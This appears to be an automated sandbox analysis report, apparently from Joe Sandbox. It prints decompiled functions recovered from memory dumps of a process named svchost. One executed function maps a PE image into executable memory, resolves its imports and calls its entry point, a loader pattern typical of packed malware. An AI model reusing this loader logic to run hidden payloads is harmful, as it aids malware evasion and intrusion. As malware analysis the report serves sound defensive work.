Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E004011CD(intOrPtr _a4, intOrPtr _a8, signed int _a16) {
				signed int _v8;
				signed int _t22;
				intOrPtr _t23;
				signed int _t26;
				intOrPtr _t33;
				intOrPtr* _t34;

				asm("pushad");
				_t33 =  *((intOrPtr*)(_a4 +  *((intOrPtr*)(_a4 + 0x3c)) + 0x80));
				if(_t33 != 0) {
					_t34 = _t33 + _a4;
					asm("cld");
					while(1) {
						_t23 =  *((intOrPtr*)(_t34 + 0xc));
						if(_t23 == 0) {
							break;
						}
						_t22 = LoadLibraryExA(_t23 + _a4, 0, 0);
						if(_t22 != 0) {
							_v8 = _t22;
							if( *_t34 == 0) {
							}
							while(1) {
								asm("lodsd");
								if(_t22 == 0) {
									break;
								}
								if((_t22 & 0x80000000) != 0) {
									_t26 = _t22 & 0x0000ffff;
								} else {
									_t26 = _t22 + _a4 + 2;
								}
								_t22 =  *((intOrPtr*)(_a8 + 0x29af9))(_v8, _t26);
								asm("stosd");
							}
							_t34 = _t34 + 0x14;
							continue;
						}
						goto L14;
					}
					_t22 = 1;
					_a16 = 1;
				}
				L14:
				asm("popad");
				return _t22;
			}

0x004011d3
0x004011e0
0x004011e4
0x004011e6
0x004011e9
0x004011ea
0x004011ea
0x004011ef
0x00000000
0x00000000
0x004011fc
0x00401204
0x00401206
0x0040120d
0x0040120d
0x0040121b
0x0040121b
0x0040121f
0x00000000
0x00000000
0x0040122b
0x00401235
0x0040122d
0x00401230
0x00401230
0x00401241
0x00401247
0x00401247
0x00401221
0x00000000
0x00401221
0x00000000
0x00401204
0x0040124a
0x0040124f
0x0040124f
0x00401253
0x00401253
0x00401255

APIs

LoadLibraryExA.KERNELBASE(?,00000000,00000000), ref: 004011FC

Memory Dump Source

Source File: 00000005.00000002.858573370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction ID: 35013e2e2bdfb2c25cf3a4b33a37da36620c85c937569e224cb1d264aff8bf43
Opcode Fuzzy Hash: 1d8c67a6fd8a031ce9178923ff6fa604b01da3edc277bbd736844eb450087ab7
Instruction Fuzzy Hash: B5114872944205AFDF10CF44C8C0B9A37A4AF15354F2981B9EC19FB3A2D374EE148B99

Uniqueness

Uniqueness Score: -1.00%

Function 00401126 Relevance: 1.3, APIs: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00401126(void* _a4, intOrPtr _a8) {
				void* _v8;
				void* _t27;
				void* _t37;
				void* _t55;
				void* _t57;
				void* _t61;

				asm("pushad");
				_t55 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_t27 = VirtualAlloc( *(_t55 + 0x34),  *(_t55 + 0x50), 0x3000, 0x40);
				if(_t27 != 0) {
					L3:
					_v8 = _t27;
					asm("cld");
					memcpy(_v8, _a4,  *(_t55 + 0x54));
					_t57 = _t55;
					_push(_t57);
					_t58 = _t57 + 0xf8;
					asm("pushad");
					asm("cld");
					memcpy(_v8 +  *((intOrPtr*)(_t57 + 0x104)), _a4 +  *((intOrPtr*)(_t57 + 0x10c)),  *(_t58 + 0x10));
					asm("popad");
					asm("loop 0xffffffe5");
					_pop(_t61);
					E004011CD(_v8, _a8); // executed
					E00401258();
					_t37 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x28)) + _v8))(_v8); // executed
				} else {
					_t27 =  *((intOrPtr*)(_a8 + 0x29afd))(0,  *(_t55 + 0x50), 0x3000, 0x40);
					if(_t27 != 0) {
						goto L3;
					} else {
					}
				}
				asm("popad");
				return _t37;
			}

0x0040112c
0x00401130
0x00401144
0x0040114c
0x0040116b
0x0040116b
0x0040116e
0x0040117b
0x0040117d
0x0040117e
0x00401185
0x00401197
0x0040119f
0x004011a0
0x004011a2
0x004011a6
0x004011a8
0x004011af
0x004011b7
0x004011c6
0x0040114e
0x00401163
0x00401167
0x00000000
0x00000000
0x00401169
0x00401167
0x004011c8
0x004011ca

APIs

VirtualAlloc.KERNELBASE(?,?,00003000,00000040), ref: 00401144

Memory Dump Source

Source File: 00000005.00000002.858573370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction ID: 6f389262607e94f6ca6fd2432eff30f66c048e0178ed9f8f27be01fdfe11bbb9
Opcode Fuzzy Hash: f46dcd975488781c9cddb351eca70577c1689cc1756a23961b888947e9d6707a
Instruction Fuzzy Hash: 02115E32600615ABCB21DF64CD81B8BB7F4AF09324F144469AA1ABB691D771FA00DB88

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04016CD0 Relevance: 31.7, APIs: 21, Instructions: 214
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04016CD0(void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;

				_v8 = _a8;
				_v12 = _a12;
				_t117 = _v12;
				E04007010(__edi, _v8, 0, _v12);
				if(_a4 != 1) {
					if(_a4 != 0) {
						if(_a4 != 2) {
							if(_a4 != 3) {
								if(_a4 != 4) {
									if(_a4 != 5) {
										if(_a4 != 6) {
											if(_a4 != 7) {
												if(_a4 != 8) {
													if(_a4 != 0x10) {
														if(_a4 != 9) {
															if(_a4 != 0xa) {
																if(_a4 != 0xb) {
																	if(_a4 != 0xc) {
																		if(_a4 != 0xd) {
																			if(_a4 != 0xe) {
																				if(_a4 != 0xf) {
																					if(_a4 != 0x12) {
																						if(_a4 != 0x11) {
																							return E04008B48(_t117, _v8, _v12, 0x4273f8);
																						}
																						return E04008B48(_v8, _v8, _v12, 0x4273f0);
																					}
																					return E04008B48(_v12, _v8, _v12, 0x4273e8);
																				}
																				return E04008B48(_t117, _v8, _v12, 0x4273d8);
																			}
																			return E04008B48(_v8, _v8, _v12, 0x4273c8);
																		}
																		return E04008B48(_v12, _v8, _v12, 0x4273b4);
																	}
																	return E04008B48(_t117, _v8, _v12, 0x42739c);
																}
																return E04008B48(_v8, _v8, _v12, 0x427384);
															}
															return E04008B48(_v12, _v8, _v12, 0x427374);
														}
														return E04008B48(_t117, _v8, _v12, 0x42736c);
													}
													return E04008B48(_v8, _v8, _v12, 0x427360);
												}
												return E04008B48(_v12, _v8, _v12, 0x427358);
											}
											return E04008B48(_t117, _v8, _v12, 0x42734c);
										}
										return E04008B48(_v8, _v8, _v12, 0x427344);
									}
									return E04008B48(_v12, _v8, _v12, 0x427338);
								}
								return E04008B48(_t117, _v8, _v12, 0x427328);
							}
							return E04008B48(_v8, _v8, _v12, 0x42731c);
						}
						return E04008B48(_v12, _v8, _v12, 0x427310);
					}
					return E04008B48(_t117, _v8, _v12, 0x427300);
				}
				return E04008B48(_v8, _v8, _v12, 0x4272f4);
			}

0x04016cd9
0x04016cdf
0x04016ce2
0x04016cec
0x04016cf8
0x04016d18
0x04016d38
0x04016d58
0x04016d78
0x04016d98
0x04016db8
0x04016dd8
0x04016df8
0x04016e18
0x04016e38
0x04016e58
0x04016e78
0x04016e98
0x04016eb8
0x04016ed8
0x04016ef5
0x04016f12
0x04016f2f
0x00000000
0x04016f5a
0x00000000
0x04016f43
0x00000000
0x04016f26
0x00000000
0x04016f09
0x00000000
0x04016eec
0x00000000
0x04016ecc
0x00000000
0x04016eac
0x00000000
0x04016e8c
0x00000000
0x04016e6c
0x00000000
0x04016e4c
0x00000000
0x04016e2c
0x00000000
0x04016e0c
0x00000000
0x04016dec
0x00000000
0x04016dcc
0x00000000
0x04016dac
0x00000000
0x04016d8c
0x00000000
0x04016d6c
0x00000000
0x04016d4c
0x00000000
0x04016d2c
0x00000000

APIs

_memset.LIBCMT ref: 04016CEC
_strcpy_s.LIBCMT ref: 04016D07
_strcpy_s.LIBCMT ref: 04016D27

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _strcpy_s$_memset
String ID:
API String ID: 987253425-0
Opcode ID: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction ID: 6ffbbe254bd13291fa03b93f874eca1d4a54b98d90e1905f46e8f856855b0833
Opcode Fuzzy Hash: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction Fuzzy Hash: DC7172B6E04208FBDF50DF94EC818DEB7B4AB4A609F20C459F90976290D135BA48EB56

Uniqueness

Uniqueness Score: -1.00%

Function 040137A0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 358
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E040137A0(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				short _v20;
				intOrPtr _v24;
				char _v28;
				char _v30;
				short _v32;
				intOrPtr _v36;
				char _v40;
				short _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v74;
				short _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v88;
				signed int _v92;
				char _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr* _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				void* _t211;
				void* _t213;
				void* _t215;
				signed int _t220;
				intOrPtr _t226;
				intOrPtr _t228;
				intOrPtr _t251;
				void* _t253;
				intOrPtr _t258;
				void* _t261;
				intOrPtr _t266;
				void* _t269;
				signed int _t275;
				void* _t277;
				intOrPtr _t370;
				void* _t373;
				void* _t374;
				signed int _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				void* _t382;
				void* _t384;
				void* _t385;
				void* _t386;

				_t374 = __esi;
				_t373 = __edi;
				_t277 = __ebx;
				_v16 =  *0x429024 ^ _t375;
				_v148 = __ecx;
				_v12 = 0;
				_v8 = 0x48;
				_v48 =  *0x426ec4;
				_v44 =  *0x426ec8;
				_v28 =  *0x426ecc;
				_v24 =  *0x426ed0;
				_v20 =  *0x426ed4;
				_v40 =  *0x426ed8;
				_v36 =  *0x426edc;
				_v32 =  *0x426ee0;
				_v30 =  *0x426ee2;
				while(_a4 != 0) {
					_v52 =  *((intOrPtr*)(_v148 + 0x10));
					if(_v52 < 0) {
						_v52 = 0;
					}
					if( *((intOrPtr*)( *_v148 + 0x2c)) > _v52) {
						_v60 = 0xffffffff;
						_v56 = 0;
						_v56 = 0;
						while(1) {
							_t334 = _v56;
							if(_v56 >=  *((intOrPtr*)( *_v148 + 0x2c))) {
								break;
							}
							_t370 =  *((intOrPtr*)( *_v148 + 0x28));
							_t275 = _v56;
							_t334 =  *((intOrPtr*)( *((intOrPtr*)(_t370 + _t275 * 4))));
							if( *((intOrPtr*)( *((intOrPtr*)(_t370 + _t275 * 4)))) != _v52) {
								_v56 = _v56 + 1;
								continue;
							}
							_v60 = _v56;
							break;
						}
						if(_v60 >= 0) {
							_t211 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v48, 1);
							_t377 = _t376 + 0xc;
							if(_t211 == 0) {
								_t213 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v28, 1);
								_t378 = _t377 + 0xc;
								if(_t213 == 0) {
									_t215 = E0401E5C0( *((intOrPtr*)(_a4 + 4)),  &_v40, 1);
									_t379 = _t378 + 0xc;
									if(_t215 == 0) {
										_v96 = 0;
										_t220 = E0401EA00(_t373,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 0x10)),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 0x14)),  &_v96);
										_t376 = _t379 + 0xc;
										_v92 = _t220;
										if(_v96 == 0 || _v92 <= 0) {
											L49:
											_t334 = 0;
											if(0 != 0) {
												continue;
											}
											goto L50;
										} else {
											asm("cdq");
											_v100 = _v92 + _v92 / 0x48 * 2;
											_t226 = E04020CE0(_v100);
											_t380 = _t376 + 4;
											_v132 = _t226;
											_v104 = _v132;
											_v56 = 0;
											_v108 = 0;
											while(_v56 < _v92) {
												if(_v56 > 0) {
													asm("cdq");
													if(_v56 % 0x48 == 0) {
														 *((char*)(_v104 + _v108)) = 0xd;
														 *((char*)(_v104 + _v108 + 1)) = 0xa;
														_v108 = _v108 + 2;
													}
												}
												 *((char*)(_v104 + _v108)) =  *((intOrPtr*)(_v96 + _v56));
												_v56 = _v56 + 1;
												_v108 = _v108 + 1;
											}
											_t228 = E04020CE0(8);
											_t376 = _t380 + 4;
											_v136 = _t228;
											if(_v136 == 0) {
												_v164 = 0;
											} else {
												_v164 = E0401F4E0(_v136);
											}
											_v12 = _v164;
											E0401FC90(_t277, _v12, _t373, _t374, _v104, _v100);
											if(_v104 != 0) {
												_v140 = _v104;
												E04020CC0(_v140);
												_t376 = _t376 + 4;
												_v104 = 0x666;
											}
											if(_v96 != 0) {
												_v144 = _v96;
												E04020CC0(_v144);
												_t376 = _t376 + 4;
												_v96 = 0x666;
											}
											goto L49;
										}
									}
									_v88 =  *0x426ee4;
									_v84 =  *0x426ee8;
									_v80 =  *0x426eec;
									_v76 =  *0x426ef0;
									_v74 =  *0x426ef2;
									_v64 = 0x1a;
									_v120 = E04020CE0(_v64);
									_v72 = _v120;
									E04007010(_t373, _v72, 0, _v64);
									_t382 = _t379 + 0x10;
									_v68 =  *((intOrPtr*)(_v148 + 0x10));
									if(_v68 < 0) {
										_v68 = 0;
									}
									 *0x4251f8(_v72, _v64 - 1,  &_v88, _v68);
									_t251 = E04020CE0(8);
									_t384 = _t382 + 0x14;
									_v124 = _t251;
									if(_v124 == 0) {
										_v160 = 0;
									} else {
										_v160 = E0401F4E0(_v124);
									}
									_v12 = _v160;
									_t253 = E040070A0(_v72);
									_t376 = _t384 + 4;
									E0401FC90(_t277, _v12, _t373, _t374, _v72, _t253);
									if(_v72 != 0) {
										_v128 = _v72;
										E04020CC0(_v128);
										_t376 = _t376 + 4;
										_v72 = 0x666;
									}
									goto L49;
								}
								_t258 = E04020CE0(8);
								_t385 = _t378 + 4;
								_v116 = _t258;
								if(_v116 == 0) {
									_v156 = 0;
								} else {
									_v156 = E0401F4E0(_v116);
								}
								_v12 = _v156;
								_t261 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 8)));
								_t376 = _t385 + 4;
								E0401FC90(_t277, _v12, _t373, _t374,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 8)), _t261);
								goto L49;
							}
							_t266 = E04020CE0(8);
							_t386 = _t377 + 4;
							_v112 = _t266;
							if(_v112 == 0) {
								_v152 = 0;
							} else {
								_v152 = E0401F4E0(_v112);
							}
							_v12 = _v152;
							_t269 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 4)));
							_t376 = _t386 + 4;
							E0401FC90(_t277, _v12, _t373, _t374,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v148 + 0x28)) + _v60 * 4)) + 4)), _t269);
							goto L49;
						}
						goto L50;
					} else {
						L50:
						return E04006C8C(_v12, _t277, _v16 ^ _t375, _t334, _t373, _t374);
					}
				}
				goto L50;
			}

0x040137a0
0x040137a0
0x040137a0
0x040137b0
0x040137b3
0x040137b9
0x040137c0
0x040137cc
0x040137d6
0x040137e0
0x040137e8
0x040137f2
0x040137fc
0x04013804
0x0401380e
0x04013818
0x0401381b
0x0401382f
0x04013836
0x04013838
0x04013838
0x0401384d
0x04013854
0x0401385b
0x04013862
0x04013874
0x0401387c
0x04013882
0x00000000
0x00000000
0x0401388c
0x0401388f
0x04013895
0x0401389a
0x04013871
0x00000000
0x04013871
0x0401389f
0x00000000
0x0401389f
0x040138aa
0x040138be
0x040138c3
0x040138c8
0x0401394d
0x04013952
0x04013957
0x040139dc
0x040139e1
0x040139e6
0x04013aef
0x04013b24
0x04013b29
0x04013b2c
0x04013b33
0x04013c70
0x04013c70
0x04013c72
0x00000000
0x00000000
0x00000000
0x04013b43
0x04013b46
0x04013b54
0x04013b5b
0x04013b60
0x04013b63
0x04013b69
0x04013b6c
0x04013b73
0x04013b7a
0x04013b86
0x04013b8b
0x04013b95
0x04013b9d
0x04013ba6
0x04013bb0
0x04013bb0
0x04013b95
0x04013bc1
0x04013bc9
0x04013bd2
0x04013bd2
0x04013bd9
0x04013bde
0x04013be1
0x04013bee
0x04013c03
0x04013bf0
0x04013bfb
0x04013bfb
0x04013c13
0x04013c21
0x04013c2a
0x04013c2f
0x04013c3c
0x04013c41
0x04013c44
0x04013c44
0x04013c4f
0x04013c54
0x04013c61
0x04013c66
0x04013c69
0x04013c69
0x00000000
0x04013c4f
0x04013b33
0x040139f1
0x040139fa
0x04013a03
0x04013a0c
0x04013a16
0x04013a19
0x04013a2c
0x04013a32
0x04013a3f
0x04013a44
0x04013a50
0x04013a57
0x04013a59
0x04013a59
0x04013a73
0x04013a7e
0x04013a83
0x04013a86
0x04013a8d
0x04013a9f
0x04013a8f
0x04013a97
0x04013a97
0x04013aaf
0x04013ab6
0x04013abb
0x04013ac6
0x04013acf
0x04013ad4
0x04013adb
0x04013ae0
0x04013ae3
0x04013ae3
0x00000000
0x04013aea
0x0401395b
0x04013960
0x04013963
0x0401396a
0x0401397c
0x0401396c
0x04013974
0x04013974
0x0401398c
0x040139a4
0x040139a9
0x040139c5
0x00000000
0x040139c5
0x040138cc
0x040138d1
0x040138d4
0x040138db
0x040138ed
0x040138dd
0x040138e5
0x040138e5
0x040138fd
0x04013915
0x0401391a
0x04013936
0x00000000
0x04013936
0x00000000
0x0401384f
0x04013c78
0x04013c88
0x04013c88
0x0401384d
0x00000000

Strings

H, xrefs: 040137C0

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction ID: 67b441bc6219ad25058a7dc751711c58666b968fd0b66db19d5699bc980d0709
Opcode Fuzzy Hash: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction Fuzzy Hash: 8FF119B8E00218DFEB14DFA8D990B9DB7B1FF48308F248199D909AB361D771A985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04022B80 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 401COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04022C44
_memset.LIBCMT ref: 04022CAD
_memset.LIBCMT ref: 04022E63

Strings

<, xrefs: 04022C4C

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: <
API String ID: 2102423945-4251816714
Opcode ID: fd79b48e9fbb9cb9cfac3a3da6eef3a913ec469d5d91857583c19bc0bafd63dd
Instruction ID: 265d75645d11992da4b2f1f59cc45b6cd644182446f2ee9bce3e1a8d4e2d5750
Opcode Fuzzy Hash: fd79b48e9fbb9cb9cfac3a3da6eef3a913ec469d5d91857583c19bc0bafd63dd
Instruction Fuzzy Hash: D11209B5A012289FEB64DF54CD88BEEB7B9BB48704F1041D9E609B7280D7746AC4CF58

Uniqueness

Uniqueness Score: -1.00%

Function 04013F50 Relevance: 12.4, APIs: 8, Instructions: 396
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E04013F50(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v21;
				char _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				signed char _v73;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				char _v132;
				char _v136;
				void* _t223;
				void* _t224;
				void* _t231;
				intOrPtr _t237;
				void* _t260;
				intOrPtr _t267;
				signed int _t283;
				intOrPtr _t286;
				void* _t292;
				void* _t394;
				void* _t395;
				void* _t396;

				_t395 = __esi;
				_t394 = __edi;
				_t292 = __ebx;
				_v120 = __ecx;
				_v8 = 0;
				while(_a4 != 0 && _a8 >= 0 && _a12 >= 0xffffffff) {
					if(_a8 <=  *((intOrPtr*)(_a4 + 4)) - 1) {
						if(_a12 <=  *((intOrPtr*)(_a4 + 4)) - _a8) {
							if(_a12 < 0) {
								_a12 =  *((intOrPtr*)(_a4 + 4)) - _a8;
							}
							_v12 =  *_a4;
							_v16 = _a8 + _a12;
							_v20 = _a8;
							while(_v20 < _v16) {
								_v21 = 0;
								_t223 = E040072C4(_v12 + _v20, 0x426c54, 2);
								_t396 = _t396 + 0xc;
								if(_t223 != 0) {
									_t224 = E040072C4(_v12 + _v20, 0x426c50, 2);
									_t396 = _t396 + 0xc;
									if(_t224 != 0) {
										L74:
										_v20 = _v20 + 1;
										continue;
									} else {
										if((_a20 & 0x000000ff) != 0) {
											_v32 = 0;
											while(_v32 < 4) {
												_t286 = E040070A0( *((intOrPtr*)(0x429f40 + _v32 * 4)));
												_t396 = _t396 + 4;
												_v36 = _t286;
												_push(_v36);
												_push( *((intOrPtr*)(0x429f40 + _v32 * 4)));
												_t50 = _v20 + 2; // 0x2
												_push(_v12 + _t50);
												if( *0x4251fc() != 0) {
													_v32 = _v32 + 1;
													continue;
												} else {
													_v21 = 1;
												}
												goto L24;
											}
										}
										L24:
										if((_a16 & 0x000000ff) == 1 && (_v21 & 0x000000ff) == 0 && _v20 + 6 < _v16) {
											_t59 = _v20 + 2; // 0x2
											_t283 =  *0x4251fc(_v12 + _t59, 0x426cc8, 6);
											asm("sbb eax, eax");
											_v21 =  ~_t283 + 1;
										}
										_v28 = 0;
										if((_v21 & 0x000000ff) == 0) {
											_v28 = E04013F50(_t292, _v120, _t394, _t395, _a4, _v20 + 2, 0xffffffff, _a16 & 0x000000ff, _a20 & 0x000000ff);
										}
										if(_v28 == 0) {
											_v40 = _v20 + 2;
											while(_v40 < _v16) {
												_t231 = E040072C4(_v12 + _v40, 0x426c54, 2);
												_t396 = _t396 + 0xc;
												if(_t231 != 0) {
													L69:
													if(_v8 == 0) {
														_v40 = _v40 + 1;
														continue;
													} else {
													}
												} else {
													if((_v21 & 0x000000ff) == 0) {
														_t86 = _v20 + 2; // 0x2
														_v52 = _v12 + _t86;
														_v44 = _v40 - _v20 + 2;
														_v48 = E04011440(_v120, _v52, _v44);
														if(_v48 <= 0xffffffff) {
															_t237 = E04020CE0(0x38);
															_t396 = _t396 + 4;
															_v108 = _t237;
															if(_v108 == 0) {
																_v132 = 0;
															} else {
																_v132 = E04010CD0(_v108);
															}
															_v84 = _v132;
															_t197 = _v20 + 2; // 0x2
															if((E040111A0(_t292, _v84, _t394, _t395, _v12 + _t197, _v40 - _v20 + 2, _v20, _v40 + 2 - _v20) & 0x000000ff) == 0) {
																if(_v84 != 0) {
																	_v116 = _v84;
																	_v112 = _v116;
																	if(_v112 == 0) {
																		_v136 = 0;
																	} else {
																		_v136 = E04006780(_v112, 1);
																	}
																	_v84 = 0x666;
																}
																goto L69;
															} else {
																_v8 = _v84;
															}
														} else {
															_v64 = E040070A0( *((intOrPtr*)(0x429f28 + _v48 * 4)));
															_v60 = _v64 + 4;
															_v88 = E04020CE0(_v60 + 1);
															_v56 = _v88;
															_push(2);
															E04006CA0(_t292, _t394, _t395, _v56, 0x426c50);
															_push(_v64);
															E04006CA0(_t292, _t394, _t395, _v56 + 2,  *((intOrPtr*)(0x429f28 + _v48 * 4)));
															_push(2);
															E04006CA0(_t292, _t394, _t395, _v56 + _v64 + 2, 0x426c54);
															_t396 = _t396 + 0x2c;
															 *((char*)(_v56 + _v60)) = 0;
															_v68 = _v40 + 2;
															while(_v68 < _v16 - _v60) {
																_t260 = E040072C4(_v12 + _v68, _v56, _v60);
																_t396 = _t396 + 0xc;
																if(_t260 != 0) {
																	L55:
																	_v68 = _v68 + 1;
																	continue;
																} else {
																	_v73 = 0 | _v48 == 0x00000005;
																	_v72 = E04013F50(_t292, _v120, _t394, _t395, _a4, _v40 + 2, _v68 - _v40 + 2, _v73 & 0x000000ff, _a20 & 0x000000ff);
																	if(_v72 == 0) {
																		_t267 = E04020CE0(0x38);
																		_t396 = _t396 + 4;
																		_v92 = _t267;
																		if(_v92 == 0) {
																			_v124 = 0;
																		} else {
																			_v124 = E04010CD0(_v92);
																		}
																		_v80 = _v124;
																		_t160 = _v40 + 2; // 0x2
																		if((E04010D70(_t292, _v80, _t394, _t395,  *((intOrPtr*)(0x429f10 + _v48 * 4)), _v12 + _t160, _v68 - _v40 + 2, _v20, _v68 + _v60 - _v20) & 0x000000ff) == 0) {
																			if(_v80 != 0) {
																				_v100 = _v80;
																				_v96 = _v100;
																				if(_v96 == 0) {
																					_v128 = 0;
																				} else {
																					_v128 = E04006780(_v96, 1);
																				}
																				_v80 = 0x666;
																			}
																			goto L55;
																		} else {
																			_v8 = _v80;
																		}
																	} else {
																		_v8 = _v72;
																	}
																}
																break;
															}
															if(_v56 != 0) {
																_v104 = _v56;
																E04020CC0(_v104);
																_t396 = _t396 + 4;
																_v56 = 0x666;
															}
															goto L69;
														}
													} else {
														_v20 = _v40 + 2;
													}
												}
												break;
											}
											if(_v8 == 0) {
												goto L74;
											} else {
											}
										} else {
											_v8 = _v28;
										}
									}
								} else {
								}
								break;
							}
							if(0 != 0) {
								continue;
							}
						} else {
						}
					} else {
					}
					L76:
					return _v8;
				}
				goto L76;
			}

0x04013f50
0x04013f50
0x04013f50
0x04013f59
0x04013f5c
0x04013f63
0x04013f86
0x04013f99
0x04013fa4
0x04013faf
0x04013faf
0x04013fb7
0x04013fc0
0x04013fc6
0x04013fd4
0x04013fe0
0x04013ff2
0x04013ff7
0x04013ffc
0x04014011
0x04014016
0x0401401b
0x0401443e
0x04013fd1
0x00000000
0x04014021
0x04014027
0x04014029
0x0401403b
0x0401404c
0x04014051
0x04014054
0x0401405a
0x04014065
0x0401406c
0x04014070
0x04014079
0x04014038
0x00000000
0x0401407b
0x0401407b
0x0401407b
0x00000000
0x04014079
0x0401403b
0x04014083
0x0401408a
0x040140ac
0x040140b1
0x040140b9
0x040140be
0x040140be
0x040140c1
0x040140ce
0x040140ef
0x040140ef
0x040140f6
0x0401410e
0x0401411c
0x04014136
0x0401413b
0x04014140
0x04014429
0x0401442d
0x04014119
0x00000000
0x00000000
0x0401442f
0x04014146
0x0401414c
0x04014162
0x04014166
0x04014174
0x04014187
0x0401418e
0x04014385
0x0401438a
0x0401438d
0x04014394
0x040143a3
0x04014396
0x0401439e
0x0401439e
0x040143ad
0x040143d0
0x040143e2
0x040143f2
0x040143f7
0x040143fd
0x04014404
0x04014418
0x04014406
0x04014410
0x04014410
0x04014422
0x04014422
0x00000000
0x040143e4
0x040143e7
0x040143e7
0x04014194
0x040141a7
0x040141b0
0x040141c2
0x040141c8
0x040141cb
0x040141d6
0x040141e1
0x040141f4
0x040141fc
0x0401420e
0x04014213
0x0401421c
0x04014225
0x04014233
0x04014251
0x04014256
0x0401425b
0x0401435a
0x04014230
0x00000000
0x04014261
0x0401426a
0x04014296
0x0401429d
0x040142b1
0x040142b6
0x040142b9
0x040142c0
0x040142cf
0x040142c2
0x040142ca
0x040142ca
0x040142d9
0x040142fc
0x04014319
0x04014329
0x0401432e
0x04014334
0x0401433b
0x0401434c
0x0401433d
0x04014347
0x04014347
0x04014353
0x04014353
0x00000000
0x0401431b
0x0401431e
0x0401431e
0x0401429f
0x040142a2
0x040142a2
0x0401429d
0x00000000
0x0401425b
0x04014363
0x04014368
0x0401436f
0x04014374
0x04014377
0x04014377
0x00000000
